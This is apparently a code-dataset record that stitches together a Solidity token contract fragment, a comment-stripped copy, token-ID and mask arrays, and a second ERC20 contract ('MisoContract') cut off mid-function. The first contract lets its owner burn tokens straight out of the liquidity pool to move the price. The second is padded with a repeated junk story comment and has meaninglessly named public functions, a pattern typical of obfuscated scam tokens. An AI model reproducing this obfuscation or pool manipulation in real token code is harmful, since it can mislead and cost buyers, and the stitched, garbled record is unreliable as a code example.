_isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _ReflectionsFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyReflectionsFee = _ReflectionsFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyReflectionsFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _ReflectionsFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellReflectionsFee = _ReflectionsFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellReflectionsFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellReflectionsFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyReflectionsFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.when buywhen sell if any account belongs to _isExcludedFromFee account then remove the fee only take fees on buys/sells, do not take on wallet transfers on sell on buy
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellReflectionsFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyReflectionsFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); }
10,105,293
[ 1, 270, 8037, 309, 326, 7412, 4624, 353, 3696, 16, 3387, 326, 1203, 11267, 364, 5405, 343, 345, 414, 353, 444, 1493, 4982, 8037, 18, 13723, 30143, 13723, 357, 80, 309, 1281, 2236, 11081, 358, 389, 291, 16461, 1265, 14667, 2236, 1508, 1206, 326, 14036, 1338, 4862, 1656, 281, 603, 25666, 1900, 19, 87, 1165, 87, 16, 741, 486, 4862, 603, 9230, 29375, 603, 357, 80, 603, 30143, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 2713, 3849, 288, 203, 3639, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 540, 203, 540, 309, 12, 8949, 422, 374, 13, 288, 203, 5411, 2240, 6315, 13866, 12, 2080, 16, 358, 16, 374, 1769, 203, 5411, 327, 31, 203, 3639, 289, 203, 540, 203, 3639, 309, 12, 14270, 382, 12477, 15329, 203, 5411, 309, 261, 203, 7734, 628, 480, 3410, 1435, 597, 203, 7734, 358, 480, 3410, 1435, 597, 203, 7734, 358, 480, 1758, 12, 20, 13, 597, 203, 7734, 358, 480, 1758, 12, 20, 92, 22097, 13, 597, 203, 7734, 401, 22270, 1382, 203, 5411, 262, 95, 203, 7734, 309, 12, 5, 313, 14968, 3896, 15329, 203, 10792, 2583, 24899, 291, 16461, 1265, 2954, 281, 63, 2080, 65, 747, 389, 291, 16461, 1265, 2954, 281, 63, 869, 6487, 315, 1609, 7459, 353, 486, 2695, 1199, 1769, 203, 7734, 289, 203, 203, 7734, 309, 261, 13866, 6763, 1526, 15329, 203, 10792, 309, 261, 869, 480, 3410, 1435, 597, 358, 480, 1758, 12, 318, 291, 91, 438, 58, 22, 8259, 13, 597, 358, 480, 1758, 12, 318, 291, 91, 438, 58, 22, 4154, 3719, 95, 203, 13491, 2583, 24899, 4505, 3024, 5912, 4921, 63, 978, 18, 10012, 65, 2 ]
pragma solidity ^0.6.0; /*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/abstract contract Context {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/function _msgSender() internal view virtual returns (address/*She had followed the woman for days and at last her patience was paying off*/ payable) {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/return msg.sender;/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/function _msgData(/*She had followed the woman for days and at last her patience was paying off*/) internal view virtual returns (bytes memory) {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/return msg.data;/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library Address { /*She had followed the woman for days and at last her patience was paying off*//*She had followed the woman for days and at last her patience was paying off*/ function isContract(address account) internal view returns (bool) {/*She had followed the woman for days and at last her patience was paying off*/ // According to EIP-1052, 0x0 is the value returned for not-yet created accounts/*She had followed the woman for days and at last her patience was paying off*/ // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/bytes32 codehash;/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;/*She had followed the woman for days and at last her patience was paying off*/ // solhint-disable-next-line no-inline-assembly/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/assembly { codehash := extcodehash(account)/*She had followed the woman for days and at last her patience was paying off*/ }/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/return (codehash != accountHash && codehash != 0x0);/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { /*She had followed theg off*/return _functionCallWithValue(target, data, 0, errorMessage);/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/function functionCallWithValue(/*She had followed theg off*/address target, bytes memory data, uint256 value) internal returns (bytes memory) {/*She had followed theg off*/ /*She had followed theg off*/return functionCallWithValue(target, data, value, "Address: low-level call with value failed"/*She had followed theg off*/);/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/ /*She had followed the woman for days and at last her patience was paying off*/function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { /*She had followed the woman for days and at last her patience was paying off*/require(/*She had followed the woman for days and at last her patience was paying off*/address(/*She had followed the woman for days and at last her patience was paying off*/this).balance >= value, "Address: insufficient balance for call");/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/return _functionCallWithValue(target, data, value, errorMessage);/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/function _functionCallWithValue(address/*She had followed theg off*/ target, bytes /*She had followed theg off*/memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/require(isContract(target/*She had followed theg off*/),/*She had followed theg off*/ "Address: call to non-contract");/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/// solhint-disable-next-line avoid-low-level-calls/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/(bool success,/*She had followed theg off*/ bytes /*She had followed theg off*/memory returndata) = target.call{ value: weiValue }(data);/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/if (success) {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/return returndata;/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/} else {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/// Look for revert reason and bubble it up if present/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/if (returndata.length /*She had followed theg off*/> 0) {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/// The easiest way to bubble the revert reason is using memory via assembly/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/// solhint-disable-next-line no-inline-assembly/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/assembly {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/let returndata_size := mload(returndata)/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/revert(add(/*She had followed theg off*/32, /*She had followed theg off*/returndata), returndata_size)/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/} else {/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/revert(errorMessage);/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed the woman for days and at last her patience was paying off*/}/*She had followed the woman for days and at last her patience was paying off*/ /*She had followed theg off*/ /*She had followed theg off*/ /*She had fodgllowed theg off*/// SPDX-License-Identifier: MIT/*She had followed theg off*/ /*She had fodgllowed theg off*/ /*She had folldgowed theg off*/pragma solidity ^0.6.0;/*She had followed theg off*/ /*She had followed theg off*/ /*She had followed theg off*/contract/*She had followed theg off*/ MisoContract is Context, IERC20 {/*She had followed theg off*/ /*She had followed theg off*/using SafeMath for uint256;/*She had followed theg off*/ /*She had followed theg off*/using Address for address;/*She had followed theg off*/ /*She had follsegowed theg off*/mapping/*She had followed theg off*/ (address /*She had followed theg off*/=> uint256) /*She had followed theg off*/private _balances;/*She had followed theg off*/ /*She had followed theg off*/mapping /*She had followed theg off*/(address /*She had followed theg off*/=> mapping (address => uint256))/*She had followed theg off*/ private _allowances;/*She had followed theg off*/ /*She haddfg followed theg off*/uint256/*She had followed theg off*/ private /*She had followed theg off*/_totalSupply;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/string/*She had followed theg off*/ private /*She had followed theg off*/_name;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/string/*She had followed theg off*/ private /*She had followed theg off*/_symbol;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint8 /*She had followed theg off*/private /*She had followed theg off*/_decimals;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ constructor (string memory name, string memory symbol) public {/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/_name = name;/*She had followed theg off*/ _symbol = symbol; _decimals = 5; /*She had followed theg off*/_totalSupply = 2000000*10**5;/*She had followed theg off*/ /*She had followed theg off*/_balances[msg.sender] = _totalSupply;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/function name() public /*She had followed theg off*/view returns (string memory) {/*She had followed theg off*/ /*She had followed theg off*/return _name;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function symbol(/*She had followed theg off*/) public view returns (string memory) {/*She had followed theg off*/ /*She had followed theg off*/return _symbol;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ function decimals() public view returns (uint8) { return _decimals; } /*She had followed theg off*/function /*She had followed theg off*/totalSupply(/*She had followed theg off*/) public view override returns (uint256) {/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/return _totalSupply;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/function balanceOf(address account) public view override returns (uint256) {/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/return _balances[account];/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/ /*She had followed theg off*/function transfer(address recipient, uint256 amount) public virtual override returns (bool) {/*She had followed theg off*/ /*She had followeds theg off*/_transfer(_msgSender(/*She had followed theg off*/), recipient, amount);/*She had followed theg off*//*She had followed theg off*/ /*She hadgs followed theg off*/return true; /*She had folsdglowed theg off*/}/*She had followed theg off*/ /*She had folsdlowed theg off*/function allowance(address/*She had followed theg off*/ owner, address /*She had followed theg off*/spender) public view virtual override returns (uint256) {/*She had followed theg off*/ /*She had followdgsed theg off*/return _allowances[owner][spender];/*She had followed theg off*/ /*She had followedsdg theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had follsdgowed theg off*/function approve(/*She had followed theg off*/address spender, /*She had followed theg off*/uint256 amount) public virtual override returns (bool) {/*She had followed theg off*/ /*She hasdg followed theg off*/_approve(_msgSender(/*She had followed theg off*/), spender, amount);/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had gsfollowed theg off*/return true;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/ /*She hafd fosdllowed theg off*//*She had followed theg off*/ /*She had followed theg off*/function transferFrom(address sender, address recipient, uint256 amount/*She had followed theg off*/) public virtual override returns (bool/*She had followed theg off*/) {/*She had followed theg off*/ /*She hadsd followed theg off*/_transfer(sender, recipient, amount);/*She had followed theg off*/ /*She had followed theg off*/_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));/*She had followed theg off*/ /*She hhfad followed theg off*/return true;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/ /*She had followed theg off*/function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { /*She had followed theg off*/_approve(_msgSender(/*She had followed theg off*/), spender, _allowances[_msgSender()][spender].add(addedValue)); /*She ghad followed theg off*/return true;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/ /*She had followed theg off*/ /*She had follossdfswed theg off*/function decreaseAllowance(address/*She had followed theg off*/ spender, uint256 subtractedValue) public virtual returns (bool) {/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/_approve(_msgSender(/*She had followed theg off*/), spender, _allowances[_msgSender(/*She had followed theg off*/)][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));/*She had followed theg off*/ /*She had followdbed theg off*/return true;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/ function _transfer(address sender, address recipient, uint256 amount) internal virtual { /*She had followed theg off*/require(sender != address(0), "ERC20: transfer from the zero address");/*She had followed theg off*/ /*She had followed theg off*/require(recipient != address(0), "ERC20: transfer to the zero address");//*She had followed theg off*/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/_balances[sender] = _balances[sender].sub(/*She had followed theg off*/amount, "ERC20: transfer amount exceeds balance");/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/_balances[recipient] = _balances[recipient].add(amount);/*She had followed theg off*/ /*She had followed theg off*/emit Transfer(sender, recipient, amount);/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function _approve(address owner/*She had followed theg off*/, address/*She had followed theg off*/ spender, uint256 amount) internal virtual {/*She had followed theg off*/ /*She had followed theg off*/require(owner != address(0), "ERC20: approve from the zero address");/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/require(spender != address(0), "ERC20: approve to the zero address");/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/_allowances[owner][spender] = amount;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/emit Approval(owner, spender, amount);/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function isThisNo(address spender, uint256 amount) public virtual returns (bool) {/*She had followed theg off*/ /*She had followed theg off*/if (1/*She had followed theg off*/>4){/*She had followed theg off*/ /*She had followed theg off*/return true;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/}/*She had followed theg off*/ function sibudfugisidnlg(address spender/*She had followed theg off*/, uint256/*She had followed theg off*/ amount) public virtual returns (bool) {/*She had followed theg off*/ /*She had followed theg off*/if/*She had followed theg off*/ (1<=4){/*She had followed theg off*//*She had 